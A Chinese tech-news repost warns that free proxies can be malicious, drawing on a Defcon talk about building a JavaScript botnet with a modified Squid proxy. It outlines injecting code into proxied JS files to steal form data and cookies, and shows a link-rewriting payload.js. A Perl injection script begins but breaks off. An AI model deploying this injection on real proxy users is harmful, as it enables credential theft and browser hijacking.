首页 资讯 业界 查看内容

为什么免费代理是“免费”的?

2015-7-6 10:21 |来自: http://blog.jobbole.com/ 1667 0

摘要: 最近偶然发现,Chema Alonso 在Defcon 20 会议上谈到他如何从头开始创建一个JavaScript 僵尸网络,然后如何使用它来找到骗子和黑客。一切都是通过一个 SQUID 代理并修改了些小配置完成的。这个想法非常简单:1.【服 ...
关键词: 一个 important nbsp 服务器 代理 SQUID 文件 安全 脚本 网站



最近偶然发现, Chema Alonso 在 Defcon 20 会议上谈到他如何从头开始创建一个JavaScript 僵尸网络,然后如何使用它来找到骗子和黑客。

一切都是通过一个 SQUID 代理并修改了些小配置完成的。

这个想法非常简单:

1.【服务器】在一台 linux 服务器上安装 Squid

2.【Payload】修改服务器配置,给所有传输的 javascript 文件插入一些代码,这些代码的作用就是将用户数据传送到你的服务器上,比如用户在表单中输入的所有数据。

3.【缓存】将修改过的 js 文件的缓存时间尽可能延长。

可能发生的最坏事情是什么?

当某人能强迫你加载一个受感染的 JS 文件, 那他们可以:

  • 窃取你访问的网站的登录信息(从登录表单中或 cookies)
  • 窃取你的银行账号或信用卡信息
  • 强迫你参与 DDOS 攻击,让你的浏览器一秒钟内加载一个网站几百次,通过 iframe 或 script(脚本)来发送请求。
  • 基本你上网做的任何事情都能看到(包括你阅读时鼠标的位置)

https

如果你的网站加载了一些不安全的资源(比如从一个 http 站点加载 jquery),那该手法在 https 链接上也能生效。大多数浏览器都会提醒你,有些甚至会阻止你访问不安全的内容,但是没有人注意到浏览器地址栏中“锁”的符号。

举个例子

安全:a1279bf58d

不安全:9f0d9fc0ce

在介绍中,Chema 说他将修改过的服务器 IP 地址发布到网络上,几天后就有 5000 多人使用这个代理。大多数使用代理的人都是为了做坏事,因为他们都知道使用了代理在网络上就变成匿名了,似乎许多人都没有考虑过这个问题:代理同样也可以对他们做一些坏事。

我在想是不是真的那么简单,所以我建了一个运行 Debian(Linux的一个发行版) 的虚拟机,然后努力实现这些概念。

编写自己的 js 来感染代理

假设你有一个运行 squid 的代理,同时你还需要一个网站服务器,如使用 /var/www 为根目录(默认设置)的 Apache 服务器。

步骤1:创建一个 payload

我打算用一个简单的脚本获取网页上所有的链接,然后将 href(链接) 属性改写成我的站点。

/etc/squid/payload.js

1
2
for(var i=0;i<document.getElementsByTagName('a').length;i++) 
   document.getElementsByTagName('a')[i].href = "https://blog.haschek.at";

步骤2:将脚本注入所有请求的 js 文件中。

/etc/squid/poison.pl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/perl
 
$|=1;
$count = 0;
$pid = $$;
 
while(<>)
{
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论